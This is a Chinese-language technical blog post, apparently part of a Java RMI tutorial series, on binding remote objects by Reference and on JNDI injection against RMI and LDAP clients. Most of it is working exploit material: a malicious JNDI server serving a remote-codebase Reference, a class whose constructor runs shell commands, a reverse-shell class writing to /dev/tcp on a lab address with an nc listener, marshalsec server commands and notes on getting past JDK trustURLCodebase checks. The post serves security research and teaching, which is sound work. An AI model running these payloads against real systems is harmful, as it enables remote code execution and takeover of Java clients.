标题: Java RMI入门(3) 创建: 2020-03-12 17:17 更新: 2020-05-18 10:44 链接: https://scz.617.cn/network/202003121717.txt -------------------------------------------------------------------------- 目录: ☆ 前言 ☆ Java RMI 15) Binding a Remote Object by Using a Reference 15.1) RemoteReferenceServer.java 15.2) 测试 15.3) 切割RemoteReferenceServer 15.3.1) RemoteReferenceServerA.java 15.3.2) RemoteReferenceServerB.java ☆ JNDI注入 1) ExploitObject.java 2) EvilServer.java 3) VulnerableClient.java 4) 测试(RMI) 4.1) 为什么Java 8u232失败 4.2) ExploitObject()调用栈回溯 4.2.1) 简化版调用关系 5) ConnectShell.java 6) 测试(LDAP) 6.0) 用marshalsec测试成功 6.1) 用ldap-server.jar测试失败 6.1.1) 用marshalsec测试时的调用栈回溯 6.1.2) 调试用ldap-server.jar的情形 6.1.3) EvilServer2.java 6.1.4) EvilServer3.java (最普适) 8) org.springframework.transaction.jta.JtaTransactionManager 8.1) VulnerableServer.java 8.2) EvilServer3.java 8.3) ExploitObject.java 8.4) EvilClient.java 8.5) 测试 8.5.1) ExploitObject()调用栈回溯 8.6) 用ysoserial.exploit.JRMPListener攻击JNDI客户端 ☆ 8u191之后的JNDI注入(RMI) 1) org.apache.naming.factory.BeanFactory + javax.el.ELProcessor 1.1) EvilServer4.java 1.2) 测试 1.3) 简化版调用关系 1.4) 相关源码 2) org.apache.naming.factory.BeanFactory + groovy.lang.GroovyClassLoader 2.1) EvilServer7.java 2.2) 测试 ☆ 8u191之后的JNDI注入(LDAP) 1) EvilLDAPServer.java 2) EvilServer5.java 2.0) 测试 2.1) 调试ctx.rebind() 2.1.1) 简化版调用关系 2.1.2) 相关源码 2.2) 调试ctx.lookup() 2.2.1) 简化版调用关系 3) EvilServer6.java ☆ JNDI+DNS 1) JNDIDNSClient.java ☆ 参考资源 -------------------------------------------------------------------------- ☆ 前言 参看 《Java RMI入门》 https://scz.617.cn/network/202002221000.txt 《Java RMI入门(2)》 https://scz.617.cn/network/202003081810.txt 《Java RMI入门(4)》 https://scz.617.cn/network/202003191728.txt 《Java RMI入门(5)》 https://scz.617.cn/network/202003241127.txt 《Java RMI入门(6)》 https://scz.617.cn/network/202004011650.txt 《Java RMI入门(7)》 https://scz.617.cn/network/202004101018.txt 《Java RMI入门(8)》 https://scz.617.cn/network/202004141657.txt 《Java RMI入门(9)》 https://scz.617.cn/network/202004161823.txt 本篇复用了系列(1)中的HelloRMIInterfaceImpl8、HelloRMIClient6等。 15) Binding a Remote Object by Using a Reference 参[44] 此次测试方案故意设计得比较复杂,要求很多前置知识,就是迫使你理解隐藏在背后 的方方面面。如欲复现,切勿自作聪明擅自改动测试步骤,尽可能一一映射式地照搬。 15.1) RemoteReferenceServer.java -------------------------------------------------------------------------- /* * javac -encoding GBK -g RemoteReferenceServer.java */ import javax.naming.*; import java.rmi.server.UnicastRemoteObject; public class RemoteReferenceServer { public static void main ( String[] argv ) throws Exception { /* * cn=any */ String name = argv[0]; /* * rmi://192.168.65.23:1099/some */ String name_redirect = argv[1]; Context ctx = new InitialContext(); HelloRMIInterface obj = new HelloRMIInterfaceImpl8(); HelloRMIInterface hello = ( HelloRMIInterface )UnicastRemoteObject.exportObject( obj, 0 ); /* * bind to rmiregistry * * the RMI URL will redirect request to the RMI registry provider */ ctx.rebind( name_redirect, hello ); /* * https://docs.oracle.com/javase/8/docs/api/javax/naming/Reference.html */ Reference hello_ref = new Reference ( /* * 对应HelloRMIInterface.class,根据name_redirect取回来的obj可 * 以强制类型转换成该类。 */ "HelloRMIInterface", /* * 第一形参是自定义字符串,任意内容 */ new StringRefAddr( "URL", name_redirect ) ); ctx.rebind( name, hello_ref ); } } -------------------------------------------------------------------------- 15.2) 测试 假设目录结构是: . | +---test0 | jndi.ldif | ldap-server.jar | +---test1 | HelloRMIInterface.class | HelloRMIInterfaceImpl8.class | RemoteReferenceServer.class | +---test2 | HelloRMIClient6.class | HelloRMIInterface.class | \---testserverbase HelloRMIInterface.class 各目录下有哪些.class是精心设计过的,不要多也不要少。 在testserverbase的父目录执行: python3 -m http.server -b 192.168.65.23 8080 在test0目录依次执行: rmiregistry -J-Djava.rmi.server.useCodebaseOnly=false 1099 java -jar ldap-server.jar -a -b 192.168.65.23 -p 10389 jndi.ldif useCodebaseOnly必须为false,否则rmiregistry找不到HelloRMIInterface.class。 在test1目录执行: java \ -Djava.rmi.server.codebase=http://192.168.65.23:8080/testserverbase/ \ -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \ -Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \ RemoteReferenceServer cn=any rmi://192.168.65.23:1099/some 假设尚未缓存,HTTP Server中会看到: "GET /testserverbase/HelloRMIInterface.class HTTP/1.1" 200 这是"ctx.rebind(name_redirect,hello)"触发的。 在test2目录执行: java \ -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \ -Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \ HelloRMIClient6 cn=any "msg from client" 客户端不涉及codebase,不涉及HTTP请求,不需要设置useCodebaseOnly。测试正常, 客户端输出: [msg from client] 在test1目录以调试方式启动服务端: java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ -Djava.rmi.server.codebase=http://192.168.65.23:8080/testserverbase/ \ -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \ -Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \ RemoteReferenceServer cn=any rmi://192.168.65.23:1099/some jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005 stop in HelloRMIInterfaceImpl8.Echo 有命中。 15.3) 切割RemoteReferenceServer 15.3.1) RemoteReferenceServerA.java -------------------------------------------------------------------------- /* * javac -encoding GBK -g RemoteReferenceServerA.java */ import javax.naming.*; import java.rmi.server.UnicastRemoteObject; public class RemoteReferenceServerA { public static void main ( String[] argv ) throws Exception { String name_redirect = argv[0]; Context ctx = new InitialContext(); HelloRMIInterface obj = new HelloRMIInterfaceImpl8(); HelloRMIInterface hello = ( HelloRMIInterface )UnicastRemoteObject.exportObject( obj, 0 ); ctx.rebind( name_redirect, hello ); } } -------------------------------------------------------------------------- 15.3.2) RemoteReferenceServerB.java -------------------------------------------------------------------------- /* * javac -encoding GBK -g RemoteReferenceServerB.java */ import javax.naming.*; import java.rmi.server.UnicastRemoteObject; public class RemoteReferenceServerB { public static void main ( String[] argv ) throws Exception { String name = argv[0]; String name_redirect = argv[1]; Context ctx = new InitialContext(); Reference hello_ref = new Reference ( "HelloRMIInterface", new StringRefAddr( "URL", name_redirect ) ); ctx.rebind( name, hello_ref ); System.in.read(); } } -------------------------------------------------------------------------- B与A不同,B必须显式阻塞以免进程结束。 假设目录结构是: . | +---test0 | jndi.ldif | ldap-server.jar | +---test3 | HelloRMIInterface.class | HelloRMIInterfaceImpl8.class | RemoteReferenceServerA.class | +---test4 | RemoteReferenceServerB.class | +---test2 | HelloRMIClient6.class | HelloRMIInterface.class | \---testserverbase HelloRMIInterface.class 在test3目录执行: java \ -Djava.rmi.server.codebase=http://192.168.65.23:8080/testserverbase/ \ -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \ -Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \ RemoteReferenceServerA rmi://192.168.65.23:1099/some 在test4目录执行: java \ -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \ -Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \ RemoteReferenceServerB cn=any rmi://192.168.65.23:1099/some HelloRMIInterfaceImpl8.Echo()是在A进程空间被执行的,与B进程空间无关,可以 下断点确认。 在test2目录执行: java \ -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \ -Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \ HelloRMIClient6 cn=any "msg from client" ☆ JNDI注入 参[39],2016年BlackHat大会上有篇议题讲了JNDI注入。这种类型的洞影响的是JNDI 客户端,不是JNDI服务端。 1) ExploitObject.java -------------------------------------------------------------------------- /* * javac -encoding GBK -g ExploitObject.java */ import java.io.*; public class ExploitObject { public ExploitObject () { try { System.out.println( "scz is here" ); Runtime.getRuntime().exec( new String[] { "/bin/bash", "-c", "/bin/touch /tmp/scz_is_here" } ); } catch ( IOException e ) { e.printStackTrace(); } } } -------------------------------------------------------------------------- 这是将来在JNDI客户端被执行的恶意代码。 2) EvilServer.java -------------------------------------------------------------------------- /* * javac -encoding GBK -g -XDignore.symbol.file EvilServer.java * * 为了抑制这个编译时警告,Java 8可以指定"-XDignore.symbol.file" * * warning: ReferenceWrapper is internal proprietary API and may be removed in a future release */ import javax.naming.*; import com.sun.jndi.rmi.registry.ReferenceWrapper; public class EvilServer { public static void main ( String[] argv ) throws Exception { String name = argv[0]; String factoryLocation = argv[1]; String factory = argv[2]; Context ctx = new InitialContext(); /* * https://docs.oracle.com/javase/8/docs/api/javax/naming/Reference.html * * className The non-null class name of the object to which this reference refers. * factory The possibly null class name of the object's factory. * factoryLocation The possibly null location from which to load the factory (e.g. URL) */ Reference ref = new Reference ( /* * 对应ExploitObject.class。本来第一形参、第二形参是不同的,但 * 我们只是为了有机会自动执行ExploitObject的构造函数。 */ factory, factory, factoryLocation ); /* * http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/com/sun/jndi/rmi/registry/ReferenceWrapper.java * * 这是个内部API,所以没有官方API文档可查,只能看源码的注释 */ ReferenceWrapper obj = new ReferenceWrapper( ref ); ctx.rebind( name, obj ); } } -------------------------------------------------------------------------- 这是攻击者可控的恶意JNDI服务端。后面我们会讨论ReferenceWrapper完全不必要出 现。 3) VulnerableClient.java -------------------------------------------------------------------------- /* * javac -encoding GBK -g VulnerableClient.java */ import javax.naming.*; public class VulnerableClient { public static void main ( String[] argv ) throws Exception { String name = argv[0]; Context ctx = new InitialContext(); ctx.lookup( name ); } } -------------------------------------------------------------------------- 这是受漏洞影响的JNDI客户端。 4) 测试(RMI) 假设目录结构是: . | +---test0 +---test1 | EvilServer.class | +---test2 | VulnerableClient.class | \---testserverbase ExploitObject.class 在testserverbase的父目录执行: python3 -m http.server -b 192.168.65.23 8080 在test0目录执行: rmiregistry 1099 rmiregistry无需设置useCodebaseOnly 在test1目录执行: java \ -Djava.naming.factory.initial=com.sun.jndi.rmi.registry.RegistryContextFactory \ -Djava.naming.provider.url=rmi://192.168.65.23:1099 \ EvilServer any http://192.168.65.23:8080/testserverbase/ ExploitObject 在test2目录执行: java_8_40 \ -Djava.naming.factory.initial=com.sun.jndi.rmi.registry.RegistryContextFactory \ -Djava.naming.provider.url=rmi://192.168.65.23:1099 \ VulnerableClient any scz is here Exception in thread "main" javax.naming.NamingException [Root exception is java.lang.ClassCastException: ExploitObject cannot be cast to javax.naming.spi.ObjectFactory] at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:472) at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:124) at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:128) at javax.naming.InitialContext.lookup(InitialContext.java:417) at VulnerableClient.main(VulnerableClient.java:12) Caused by: java.lang.ClassCastException: ExploitObject cannot be cast to javax.naming.spi.ObjectFactory at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:163) at javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:319) at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:464) ... 4 more 或 java_8_40 \ VulnerableClient rmi://192.168.65.23:1099/any scz is here Exception in thread "main" javax.naming.NamingException [Root exception is java.lang.ClassCastException: ExploitObject cannot be cast to javax.naming.spi.ObjectFactory] at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:472) at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:124) at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205) at javax.naming.InitialContext.lookup(InitialContext.java:417) at VulnerableClient.main(VulnerableClient.java:12) Caused by: java.lang.ClassCastException: ExploitObject cannot be cast to javax.naming.spi.ObjectFactory at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:163) at javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:319) at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:464) ... 4 more 上面两个调用栈回溯有细微差别。虽然抛出异常,但恶意构造函数ExploitObject() 已被执行。HTTP Server中会看到: "GET /testserverbase/ExploitObject.class HTTP/1.1" 200 这是客户端发出的GET请求。如果客户端本地CLASSPATH中已有ExploitObject.class, 就不会从远程下载,本地ExploitObject.class将被加载使用。 4.1) 为什么Java 8u232失败 在test2目录执行: java \ VulnerableClient rmi://192.168.65.23:1099/any 抛出异常: Exception in thread "main" javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'. at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:495) at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138) at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205) at javax.naming.InitialContext.lookup(InitialContext.java:417) at VulnerableClient.main(VulnerableClient.java:12) 参[45],KINGX说这是Java 8u113的安全增强。参: http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/com/sun/jndi/rmi/registry/RegistryContext.java 在test2目录执行: java \ -Dcom.sun.jndi.rmi.object.trustURLCodebase=true \ VulnerableClient rmi://192.168.65.23:1099/any 没有抛异常,无声无息结束,没有触发GET请求,恶意构造函数ExploitObject()未被 执行。 java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ -Dcom.sun.jndi.rmi.object.trustURLCodebase=true \ VulnerableClient rmi://192.168.65.23:1099/any jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005 或者用Eclipse跟踪。在下面这个位置还有一次对trustURLCodebase的检查,但这次 取的是"com.sun.jndi.ldap.object.trustURLCodebase"。 Thread [main] (Suspended (breakpoint at line 101 in com.sun.naming.internal.VersionHelper12)) com.sun.naming.internal.VersionHelper12.loadClass(java.lang.String, java.lang.String) line: 101 javax.naming.spi.NamingManager.getObjectFactoryFromReference(javax.naming.Reference, java.lang.String) line: 158 javax.naming.spi.NamingManager.getObjectInstance(java.lang.Object, javax.naming.Name, javax.naming.Context, java.util.Hashtable) line: 319 com.sun.jndi.rmi.registry.RegistryContext.decodeObject(java.rmi.Remote, javax.naming.Name) line: 499 com.sun.jndi.rmi.registry.RegistryContext.lookup(javax.naming.Name) line: 138 com.sun.jndi.url.rmi.rmiURLContext(com.sun.jndi.toolkit.url.GenericURLContext).lookup(java.lang.String) line: 205 javax.naming.InitialContext.lookup(java.lang.String) line: 417 VulnerableClient.main(java.lang.String[]) line: 12 如果"com.sun.jndi.ldap.object.trustURLCodebase"为false,loadClass()返回 null,后面的流程不会抛出异常,真坑啊。 参: http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/com/sun/naming/internal/VersionHelper12.java 上面的测试用例与LDAP没有毛关系,但为了让Java 8u232成功,必须同时设置两个 trustURLCodebase: java \ -Dcom.sun.jndi.rmi.object.trustURLCodebase=true \ -Dcom.sun.jndi.ldap.object.trustURLCodebase=true \ VulnerableClient rmi://192.168.65.23:1099/any scz is here Exception in thread "main" javax.naming.NamingException [Root exception is java.lang.ClassCastException: ExploitObject cannot be cast to javax.naming.spi.ObjectFactory] at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:507) at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138) at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205) at javax.naming.InitialContext.lookup(InitialContext.java:417) at VulnerableClient.main(VulnerableClient.java:12) Caused by: java.lang.ClassCastException: ExploitObject cannot be cast to javax.naming.spi.ObjectFactory at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:163) at javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:319) at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:499) ... 4 more KINGX在[45]中写了一段话: -------------------------------------------------------------------------- 测试过程中有个细节,我们在JDK 8u102中使用RMI Server + JNDI Reference可以成 功利用,而此时我们手工将com.sun.jndi.rmi.object.trustURLCodebase等属性设置 为false,并不会如预期一样有高版本JDK的限制效果出现,Payload依然可以利用。 -------------------------------------------------------------------------- 这其实很正常。未看8u102的rt.jar,就以8u40的rt.jar为例,后者的 RegistryContext.decodeObject()中干脆就没有trustURLCodebase相关代码,直接调 了NamingManager.getObjectInstance()。同样,8u40的 VersionHelper12.loadClass()中没有trustURLCodebase相关代码,直接开始调 getContextClassLoader()。换句话说,做安全增强时才引入两个trustURLCodebase 变量,这种情况下对安全增强之前的版本将trustURLCodebase设为啥都无意义。 4.2) ExploitObject()调用栈回溯 java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ -Dcom.sun.jndi.rmi.object.trustURLCodebase=true \ -Dcom.sun.jndi.ldap.object.trustURLCodebase=true \ VulnerableClient rmi://192.168.65.23:1099/any jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005 stop in ExploitObject. [1] ExploitObject. (ExploitObject.java:9), pc = 0 [2] sun.reflect.NativeConstructorAccessorImpl.newInstance0 (native method) [3] sun.reflect.NativeConstructorAccessorImpl.newInstance (NativeConstructorAccessorImpl.java:62), pc = 85 [4] sun.reflect.DelegatingConstructorAccessorImpl.newInstance (DelegatingConstructorAccessorImpl.java:45), pc = 5 [5] java.lang.reflect.Constructor.newInstance (Constructor.java:423), pc = 79 [6] java.lang.Class.newInstance (Class.java:442), pc = 138 [7] javax.naming.spi.NamingManager.getObjectFactoryFromReference (NamingManager.java:163), pc = 46 [8] javax.naming.spi.NamingManager.getObjectInstance (NamingManager.java:319), pc = 94 [9] com.sun.jndi.rmi.registry.RegistryContext.decodeObject (RegistryContext.java:499), pc = 97 [10] com.sun.jndi.rmi.registry.RegistryContext.lookup (RegistryContext.java:138), pc = 75 [11] com.sun.jndi.toolkit.url.GenericURLContext.lookup (GenericURLContext.java:205), pc = 23 [12] javax.naming.InitialContext.lookup (InitialContext.java:417), pc = 6 [13] VulnerableClient.main (VulnerableClient.java:12), pc = 14 4.2.1) 简化版调用关系 参看: http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/com/sun/jndi/rmi/registry/RegistryContext.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/javax/naming/spi/NamingManager.java -------------------------------------------------------------------------- InitialContext.lookup // 8u232 GenericURLContext.lookup // InitialContext:417 RegistryContext.lookup // GenericURLContext:205 RegistryContext.decodeObject // RegistryContext:138 NamingManager.getObjectInstance // RegistryContext:499 NamingManager.getObjectFactoryFromReference // NamingManager:319 Reference.getFactoryClassLocation // NamingManager:156 // 返回"http://192.168.65.23:8080/testserverbase/" VersionHelper12.loadClass // NamingManager:158 // 远程加载ExploitObject.class Class.newInstance // NamingManager:163 // 8u191之前直接在此执行恶意代码 ExploitObject. -------------------------------------------------------------------------- 5) ConnectShell.java -------------------------------------------------------------------------- /* * javac -encoding GBK -g ConnectShell.java */ import java.io.*; public class ConnectShell { public ConnectShell () { try { /* * exec()效果相当于: * * nc -n 192.168.65.23 7474 -e /bin/sh * 需要在192.168.65.23上配合执行: * * nc -l -p 7474 */ Runtime.getRuntime().exec( new String[] { "/bin/sh", "-c", "/bin/sh -i > /dev/tcp/192.168.65.23/7474 0<&1 2>&1" } ); } catch ( IOException e ) { e.printStackTrace(); } } } -------------------------------------------------------------------------- 参看: 《非常规手段上传下载二进制文件》 https://scz.617.cn/unix/200007171457.txt bash支持/dev/tcp时只用到connect(2),没有用bind(2),因此只能主动连接,不能 被动侦听。若所在主机不允许主动外连,无法使用/dev/tcp。 在192.168.65.23任意目录执行: nc -l -p 7474 等待VulnerableClient主动来连。 在test1目录执行: java \ -Djava.naming.factory.initial=com.sun.jndi.rmi.registry.RegistryContextFactory \ -Djava.naming.provider.url=rmi://192.168.65.23:1099 \ EvilServer any http://192.168.65.23:8080/testserverbase/ ConnectShell 恶意JNDI服务端此次向JNDI客户端投递恶意类ConnectShell,而不是ExploitObject。 在test2目录执行: java \ -Dcom.sun.jndi.rmi.object.trustURLCodebase=true \ -Dcom.sun.jndi.ldap.object.trustURLCodebase=true \ VulnerableClient rmi://192.168.65.23:1099/any 回到前面那个nc,已经得到一个shell,其uid对应VulnerableClient进程的euid。 6) 测试(LDAP) 6.0) 用marshalsec测试成功 假设目录结构是: . | +---test0 | marshalsec-0.0.3-SNAPSHOT-all.jar | +---test2 | VulnerableClient.class | \---testserverbase ExploitObject.class 在testserverbase的父目录执行: python3 -m http.server -b 192.168.65.23 8080 在test0目录执行: java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.65.23:8080/testserverbase/#ExploitObject 10389 参[17],可以自己编译marshalsec。 参[45],KINGX演示了如何利用marshalsec提供恶意LDAP服务: java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.(LDAP|RMI)RefServer [] 如果用marshalsec,就不需要ldap-server.jar和EvilServer.class,marshalsec身 兼多职。 在test2目录执行: java_8_40 \ VulnerableClient ldap://192.168.65.23:10389/any 或 java \ -Dcom.sun.jndi.ldap.object.trustURLCodebase=true \ VulnerableClient ldap://192.168.65.23:10389/any scz is here Exception in thread "main" javax.naming.NamingException: problem generating object using object factory [Root exception is java.lang.ClassCastException: ExploitObject cannot be cast to javax.naming.spi.ObjectFactory]; remaining name 'any' at com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1092) at com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542) at com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177) at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205) at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94) at javax.naming.InitialContext.lookup(InitialContext.java:417) at VulnerableClient.main(VulnerableClient.java:12) Caused by: java.lang.ClassCastException: ExploitObject cannot be cast to javax.naming.spi.ObjectFactory at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:163) at javax.naming.spi.DirectoryManager.getObjectInstance(DirectoryManager.java:189) at com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1085) ... 6 more 与"com.sun.jndi.rmi.object.trustURLCodebase"无关,只需要设置 "com.sun.jndi.ldap.object.trustURLCodebase"。8u191做的安全增强。 6.1) 用ldap-server.jar测试失败 在testserverbase的父目录执行: python3 -m http.server -b 192.168.65.23 8080 在test0目录执行: java -jar ldap-server.jar -a -b 192.168.65.23 -p 10389 jndi.ldif 在test1目录执行: java \ -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \ -Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \ EvilServer cn=any http://192.168.65.23:8080/testserverbase/ ExploitObject 在test2目录执行: java \ -Dcom.sun.jndi.ldap.object.trustURLCodebase=true \ VulnerableClient ldap://192.168.65.23:10389/cn=any,o=anything,dc=evil,dc=com 没有抛异常,无声无息结束,没有触发GET请求,恶意构造函数ExploitObject()未被 执行。 6.1.1) 用marshalsec测试时的调用栈回溯 在test0目录执行: java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.65.23:8080/testserverbase/#ExploitObject 10389 在test2目录执行: java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ -Dcom.sun.jndi.ldap.object.trustURLCodebase=true \ VulnerableClient ldap://192.168.65.23:10389/any 用Eclipse的条件断点断下来,查看调用栈回溯: (new String(b)).startsWith("GET /testserverbase/ExploitObject.class") Thread [main] (Suspended (breakpoint at line 101 in java.net.SocketOutputStream)) java.net.SocketOutputStream.socketWrite(byte[], int, int) line: 101 java.net.SocketOutputStream.write(byte[], int, int) line: 155 java.io.BufferedOutputStream.flushBuffer() line: 82 java.io.BufferedOutputStream.flush() line: 140 java.io.PrintStream.flush() line: 338 sun.net.www.MessageHeader.print(java.io.PrintStream) line: 301 sun.net.www.http.HttpClient.writeRequests(sun.net.www.MessageHeader, sun.net.www.http.PosterOutputStream) line: 644 sun.net.www.http.HttpClient.writeRequests(sun.net.www.MessageHeader, sun.net.www.http.PosterOutputStream, boolean) line: 655 sun.net.www.protocol.http.HttpURLConnection.writeRequests() line: 694 sun.net.www.protocol.http.HttpURLConnection.getInputStream0() line: 1591 sun.net.www.protocol.http.HttpURLConnection.getInputStream() line: 1498 sun.misc.URLClassPath$Loader.getResource(java.lang.String, boolean) line: 747 sun.misc.URLClassPath.getResource(java.lang.String, boolean) line: 249 java.net.URLClassLoader$1.run() line: 366 java.net.URLClassLoader$1.run() line: 363 java.security.AccessController.doPrivileged(java.security.PrivilegedExceptionAction, java.security.AccessControlContext) line: not available [native method] java.net.FactoryURLClassLoader(java.net.URLClassLoader).findClass(java.lang.String) line: 362 java.net.FactoryURLClassLoader(java.lang.ClassLoader).loadClass(java.lang.String, boolean) line: 418 java.net.FactoryURLClassLoader.loadClass(java.lang.String, boolean) line: 817 java.net.FactoryURLClassLoader(java.lang.ClassLoader).loadClass(java.lang.String) line: 351 java.lang.Class.forName0(java.lang.String, boolean, java.lang.ClassLoader, java.lang.Class) line: not available [native method] java.lang.Class.forName(java.lang.String, boolean, java.lang.ClassLoader) line: 348 com.sun.naming.internal.VersionHelper12.loadClass(java.lang.String, java.lang.ClassLoader) line: 91 com.sun.naming.internal.VersionHelper12.loadClass(java.lang.String, java.lang.String) line: 106 javax.naming.spi.NamingManager.getObjectFactoryFromReference(javax.naming.Reference, java.lang.String) line: 158 javax.naming.spi.DirectoryManager.getObjectInstance(java.lang.Object, javax.naming.Name, javax.naming.Context, java.util.Hashtable, javax.naming.directory.Attributes) line: 189 com.sun.jndi.ldap.LdapCtx.c_lookup(javax.naming.Name, com.sun.jndi.toolkit.ctx.Continuation) line: 1085 com.sun.jndi.ldap.LdapCtx(com.sun.jndi.toolkit.ctx.ComponentContext).p_lookup(javax.naming.Name, com.sun.jndi.toolkit.ctx.Continuation) line: 542 com.sun.jndi.ldap.LdapCtx(com.sun.jndi.toolkit.ctx.PartialCompositeContext).lookup(javax.naming.Name) line: 177 com.sun.jndi.url.ldap.ldapURLContext(com.sun.jndi.toolkit.url.GenericURLContext).lookup(java.lang.String) line: 205 com.sun.jndi.url.ldap.ldapURLContext.lookup(java.lang.String) line: 94 javax.naming.InitialContext.lookup(java.lang.String) line: 417 VulnerableClient.main(java.lang.String[]) line: 12 6.1.2) 调试用ldap-server.jar的情形 java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ -Dcom.sun.jndi.ldap.object.trustURLCodebase=true \ VulnerableClient ldap://192.168.65.23:10389/cn=any,o=anything,dc=evil,dc=com 可以先利用前面那个调用栈回溯将断点设置好,不然手工去找这些位置太费劲。说一 下调试思路,两种情形,一种成功,一种失败,肯定是流程在某处分了岔,把这个岔 路口找出来。利用成功情形的调用栈回溯设置一堆断点,跑失败情形,快速找到最后 一个相同的命中点: com.sun.jndi.ldap.LdapCtx.c_lookup(javax.naming.Name, com.sun.jndi.toolkit.ctx.Continuation) line: 1085 此处对应代码: return DirectoryManager.getObjectInstance(obj, name, this, envprops, attrs); 重新调试失败情形,从这个位置开始单步。参: http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/javax/naming/spi/DirectoryManager.java -------------------------------------------------------------------------- public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx, Hashtable environment, Attributes attrs) throws Exception { ObjectFactory factory; ObjectFactoryBuilder builder = getObjectFactoryBuilder(); if (builder != null) { // builder must return non-null factory factory = builder.createObjectFactory(refInfo, environment); if (factory instanceof DirObjectFactory) { return ((DirObjectFactory)factory).getObjectInstance( refInfo, name, nameCtx, environment, attrs); } else { return factory.getObjectInstance(refInfo, name, nameCtx, environment); } } // use reference if possible Reference ref = null; /* * 176行,分岔点在此。成功情形,refInfo是Reference;失败情形,refInfo * 是ReferenceWrapper,既不是Reference,也不是Referenceable,导致 * ref为null。 */ if (refInfo instanceof Reference) { ref = (Reference) refInfo; } else if (refInfo instanceof Referenceable) { ref = ((Referenceable)(refInfo)).getReference(); } Object answer; /* * 184行,失败情形流程至此时ref为null */ if (ref != null) { String f = ref.getFactoryClassName(); if (f != null) { // if reference identifies a factory, use exclusively /* * 189行,成功情形流程会至此,失败情形流程不会至此 */ factory = getObjectFactoryFromReference(ref, f); if (factory instanceof DirObjectFactory) { return ((DirObjectFactory)factory).getObjectInstance( ref, name, nameCtx, environment, attrs); } else if (factory != null) { return factory.getObjectInstance(ref, name, nameCtx, environment); } // No factory found, so return original refInfo. // Will reach this point if factory class is not in // class path and reference does not contain a URL for it return refInfo; } else { // if reference has no factory, check for addresses // containing URLs // ignore name & attrs params; not used in URL factory answer = processURLAddrs(ref, name, nameCtx, environment); if (answer != null) { return answer; } } } // try using any specified factories answer = createObjectFromFactories(refInfo, name, nameCtx, environment, attrs); return (answer != null) ? answer : refInfo; } -------------------------------------------------------------------------- 参: -------------------------------------------------------------------------- 